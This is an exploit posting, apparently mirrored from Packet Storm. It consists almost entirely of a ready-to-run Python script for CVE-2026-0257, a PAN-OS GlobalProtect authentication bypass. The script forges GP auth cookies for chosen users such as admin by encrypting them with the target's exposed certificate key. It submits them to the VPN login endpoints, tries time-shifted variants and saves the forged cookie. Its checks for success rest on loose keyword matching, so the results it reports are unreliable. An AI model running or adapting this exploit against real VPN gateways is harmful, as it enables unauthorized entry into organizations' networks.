Share
## https://sploitus.com/exploit?id=PACKETSTORM:225287
==================================================================================================================================
| # Title : PAN-OS GlobalProtect < 12.1.4-h6 Authentication Bypass โ Cookie Forging and Certificate Reuse Analysis |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://security.paloaltonetworks.com/CVE-2026-0257 |
==================================================================================================================================
[+] Summary : This Python poc targets an alleged authentication bypass vulnerability in PAN-OS GlobalProtect (CVE-2026-0257)by attempting to forge authentication cookies
using publicly exposed TLS certificate material.
[+] POC :
#!/usr/bin/env python3
import argparse
import base64
import socket
import ssl
import time
import json
import re
import sys
import urllib.request
import urllib.parse
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from typing import List, Tuple, Optional
try:
from colorama import init, Fore, Style
init(autoreset=True)
HAS_COLOR = True
except ImportError:
HAS_COLOR = False
class Fore:
RED = GREEN = YELLOW = CYAN = MAGENTA = RESET = ''
Style = Fore
def banner():
banner_text = f"""
{Fore.RED}
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-0257 โ
โ PAN-OS GlobalProtect Authentication Bypass โ
โ โ
โ Exploits reliance on cookies without validation (CWE-565) โ
โ Forges authentication cookies using reused encryption certificates โ
โ โ
โ By indoushka โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ{Style.RESET_ALL}
"""
print(banner_text)
class GlobalProtectExploit:
"""Main exploit class for CVE-2026-0257"""
def __init__(self, target: str, port: int = 443, verbose: bool = False):
self.target = target
self.port = port
self.verbose = verbose
self.base_url = f"https://{target}:{port}"
def log(self, msg: str, level: str = "info"):
"""Logging with colors"""
colors = {
"info": Fore.CYAN,
"success": Fore.GREEN,
"error": Fore.RED,
"warning": Fore.YELLOW,
"debug": Fore.MAGENTA
}
prefix = {
"info": "[*]",
"success": "[+]",
"error": "[-]",
"warning": "[!]",
"debug": "[DEBUG]"
}
if HAS_COLOR:
print(f"{colors.get(level, Fore.WHITE)}{prefix[level]} {msg}{Style.RESET_ALL}")
else:
print(f"{prefix[level]} {msg}")
if self.verbose and level == "debug":
sys.stdout.flush()
def extract_certificate_chain(self) -> List[x509.Certificate]:
"""Extract full certificate chain from TLS handshake"""
self.log(f"Connecting to {self.target}:{self.port} to extract certificate chain...")
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
certificates = []
try:
with ctx.wrap_socket(socket.socket(), server_hostname=self.target) as sock:
sock.connect((self.target, self.port))
try:
cert_chain = sock.get_unverified_chain()
if cert_chain:
for der in cert_chain:
cert = x509.load_der_x509_certificate(der)
certificates.append(cert)
self.log(f"Found {cert.public_key().key_size}-bit RSA key (Subject: {cert.subject.rfc4514_string()[:50]})", "debug")
except AttributeError:
der = sock.getpeercert(binary_form=True)
if der:
cert = x509.load_der_x509_certificate(der)
certificates.append(cert)
self.log(f"Found {cert.public_key().key_size}-bit RSA key", "debug")
except Exception as e:
self.log(f"Failed to extract certificate: {e}", "error")
raise
if not certificates:
raise Exception("No certificates extracted")
self.log(f"Extracted {len(certificates)} certificate(s)", "success")
return certificates
def forge_auth_cookie(self, public_key: rsa.RSAPublicKey, username: str,
domain: str = "", client_ip: str = "0.0.0.0",
timestamp: Optional[int] = None) -> str:
"""
Forge GP-Auth-Cookie using target's public key
The vulnerable format: username;domain;;timestamp;client-ip;
This gets encrypted with the certificate used for authentication override
"""
if timestamp is None:
timestamp = int(time.time())
plaintext = f"{username};{domain};;{timestamp};{client_ip};"
self.log(f"Plaintext payload: {plaintext}", "debug")
try:
ciphertext = public_key.encrypt(
plaintext.encode('utf-8'),
padding.PKCS1v15()
)
except Exception as e:
self.log(f"Encryption failed: {e}", "error")
raise
cookie = base64.b64encode(ciphertext).decode('utf-8')
return cookie
def test_ssl_vpn_endpoint(self, cookie: str, username: str) -> Tuple[bool, str]:
"""Test forged cookie against /ssl-vpn/login.esp endpoint"""
endpoint = f"{self.base_url}/ssl-vpn/login.esp"
post_data = {
"user": username,
"passwd": "",
"portal-userauthcookie": cookie,
"direct": "yes",
"clientVer": "4100",
"prot": "https",
"server": self.target,
"ok": "Login",
"jnlpReady": "jnlpReady",
"prelogonuser": "no",
"computer": "test-pc",
"os": "Windows"
}
encoded_data = urllib.parse.urlencode(post_data).encode('utf-8')
req = urllib.request.Request(endpoint, data=encoded_data, method='POST')
req.add_header("Content-Type", "application/x-www-form-urlencoded")
req.add_header("User-Agent", "PAN-GP/4.1.0 (Windows)")
req.add_header("X-PAN-AGENT", "GP/4.1.0")
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with urllib.request.urlopen(req, context=ctx, timeout=15) as response:
response_text = response.read().decode('utf-8', errors='ignore')
status_code = response.getcode()
self.log(f"HTTP Status: {status_code}", "debug")
success_indicators = [
"Success", "success",
"<argument>", "argument",
"portal", "Portal",
"gateway", "Gateway",
"config", "Config",
"session", "Session",
"connected", "Connected",
"authcookie", "AuthCookie",
"set-cookie", "Set-Cookie"
]
for indicator in success_indicators:
if indicator.lower() in response_text.lower():
if "error" not in response_text.lower() or "failed" not in response_text.lower():
return True, response_text
if status_code in [200, 302]:
if any(x in response_text.lower() for x in ['welcome', 'dashboard', 'home']):
return True, response_text
return False, response_text
except urllib.error.HTTPError as e:
if e.code == 302:
self.log("Got redirect - likely successful bypass", "debug")
return True, str(e.headers)
return False, f"HTTP Error: {e.code}"
except Exception as e:
return False, str(e)
def test_globalprotect_endpoint(self, cookie: str, username: str) -> Tuple[bool, str]:
"""Test against the primary GlobalProtect endpoint"""
endpoint = f"{self.base_url}/global-protect/login.esp"
post_data = {
"user": username,
"passwd": "",
"portal-userauthcookie": cookie,
"prot": "https",
"server": self.target,
"clientVer": "4100",
"computer": "bypass-test"
}
encoded_data = urllib.parse.urlencode(post_data).encode('utf-8')
req = urllib.request.Request(endpoint, data=encoded_data, method='POST')
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with urllib.request.urlopen(req, context=ctx, timeout=15) as response:
response_text = response.read().decode('utf-8', errors='ignore')
if "error" not in response_text.lower() and len(response_text) > 100:
if "authcookie" in response_text.lower() or "session" in response_text.lower():
return True, response_text
return False, response_text
except Exception as e:
return False, str(e)
def extract_gateway_info(self, response_text: str) -> dict:
"""Extract gateway and portal information from response"""
info = {
"portal": None,
"gateway": None,
"auth_cookie": None,
"session": None
}
portal_pattern = r'portal[":\s]+([a-zA-Z0-9._-]+)'
gateway_pattern = r'gateway[":\s]+([a-zA-Z0-9._-]+)'
portal_match = re.search(portal_pattern, response_text, re.IGNORECASE)
gateway_match = re.search(gateway_pattern, response_text, re.IGNORECASE)
if portal_match:
info['portal'] = portal_match.group(1)
if gateway_match:
info['gateway'] = gateway_match.group(1)
cookie_match = re.search(r'(?:gp-auth-cookie|GP-Auth-Cookie)[=:\s]+([a-zA-Z0-9+/=]+)',
response_text, re.IGNORECASE)
if cookie_match:
info['auth_cookie'] = cookie_match.group(1)
return info
def run(self, username: str, domain: str = "",
client_ip: str = "127.0.0.1", target_time: Optional[int] = None) -> dict:
"""
Main exploit execution
Returns:
dict with exploitation results
"""
results = {
"success": False,
"username": username,
"cookie": None,
"keys_tried": 0,
"response": None,
"gateway_info": {}
}
try:
certificates = self.extract_certificate_chain()
except Exception as e:
self.log(f"Certificate extraction failed: {e}", "error")
return results
self.log(f"Attempting authentication bypass for user: {username}")
for idx, cert in enumerate(certificates):
results["keys_tried"] = idx + 1
public_key = cert.public_key()
self.log(f"[{idx+1}/{len(certificates)}] Trying certificate...")
cookie = self.forge_auth_cookie(public_key, username, domain, client_ip, target_time)
results["cookie"] = cookie
self.log(f"Cookie (first 60 chars): {cookie[:60]}...", "debug")
self.log("Testing against /ssl-vpn/login.esp...")
success, response = self.test_ssl_vpn_endpoint(cookie, username)
if success:
self.log("SUCCESS! Authentication bypass achieved!", "success")
results["success"] = True
results["response"] = response[:1000] if response else None
results["gateway_info"] = self.extract_gateway_info(response if response else "")
if not results["gateway_info"].get("gateway"):
self.log("Attempting secondary endpoint...")
success2, response2 = self.test_globalprotect_endpoint(cookie, username)
if success2:
results["gateway_info"].update(self.extract_gateway_info(response2))
return results
else:
self.log(f"Failed with this key: {response[:200] if response else 'No response'}", "debug")
self.log("Attempting time-shifted cookie attack...", "warning")
for offset in [-3600, 3600, -7200, 7200]:
shifted_time = int(time.time()) + offset
cookie = self.forge_auth_cookie(certificates[0].public_key(), username, domain, client_ip, shifted_time)
success, response = self.test_ssl_vpn_endpoint(cookie, username)
if success:
self.log(f"SUCCESS with time offset {offset} seconds!", "success")
results["success"] = True
results["cookie"] = cookie
results["response"] = response[:1000] if response else None
return results
self.log("All keys and time offsets failed. Target may be patched or not vulnerable.", "error")
return results
def main():
banner()
parser = argparse.ArgumentParser(
description="CVE-2026-0257 - PAN-OS GlobalProtect Authentication Bypass Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 CVE-2026-0257.py --target vpn.company.com
python3 CVE-2026-0257.py --target 192.168.1.100 --user administrator --verbose
python3 CVE-2026-0257.py --target 10.0.0.1 --user john.doe --domain corp.local --output cookie.txt
"""
)
parser.add_argument("-t", "--target", required=True,
help="Target GlobalProtect server (IP or hostname)")
parser.add_argument("-p", "--port", type=int, default=443,
help="Port number (default: 443)")
parser.add_argument("-u", "--user", default="admin",
help="Username to forge cookie for (default: admin)")
parser.add_argument("-d", "--domain", default="",
help="Domain name (optional)")
parser.add_argument("-c", "--client-ip", default="127.0.0.1",
help="Client IP address to spoof (default: 127.0.0.1)")
parser.add_argument("-o", "--output",
help="Output file to save the forged cookie")
parser.add_argument("-v", "--verbose", action="store_true",
help="Enable verbose output")
args = parser.parse_args()
exploit = GlobalProtectExploit(args.target, args.port, args.verbose)
results = exploit.run(args.user, args.domain, args.client_ip)
print("\n" + "="*70)
if results["success"]:
print(f"{Fore.GREEN}โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ")
print(f"โ EXPLOIT SUCCESSFUL โ")
print(f"โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ{Style.RESET_ALL}")
print(f"\n{Fore.GREEN}[+] Authentication Bypass Achieved!{Style.RESET_ALL}")
print(f" Username : {results['username']}")
print(f" Target : {args.target}")
print(f" Cookie : {results['cookie']}")
print(f" Keys attempted: {results['keys_tried']}")
if results['gateway_info'].get('gateway'):
print(f" Gateway : {results['gateway_info']['gateway']}")
if results['gateway_info'].get('portal'):
print(f" Portal : {results['gateway_info']['portal']}")
if args.output:
with open(args.output, 'w') as f:
f.write(f"# CVE-2026-0257 Exploit\n")
f.write(f"# Target: {args.target}\n")
f.write(f"# Username: {results['username']}\n")
f.write(f"# Date: {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
f.write(f"GP-AUTH-COOKIE={results['cookie']}\n")
exploit.log(f"Cookie saved to {args.output}", "success")
if args.verbose and results['response']:
print(f"\n{Fore.CYAN}--- Response Preview ---")
print(results['response'][:500])
print(f"{Style.RESET_ALL}")
else:
print(f"{Fore.RED}โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ")
print(f"โ EXPLOIT FAILED โ")
print(f"โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ{Style.RESET_ALL}")
print(f"\n{Fore.RED}[-] Exploitation unsuccessful.{Style.RESET_ALL}")
print(" Possible reasons:")
print(" 1. Target is not vulnerable (patched)")
print(" 2. Authentication override cookies are disabled")
print(" 3. Certificate is not reused for cookie encryption")
print(" 4. Network/firewall blocking access")
print("\n" + "="*70)
return 0 if results["success"] else 1
if __name__ == "__main__":
sys.exit(main())
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================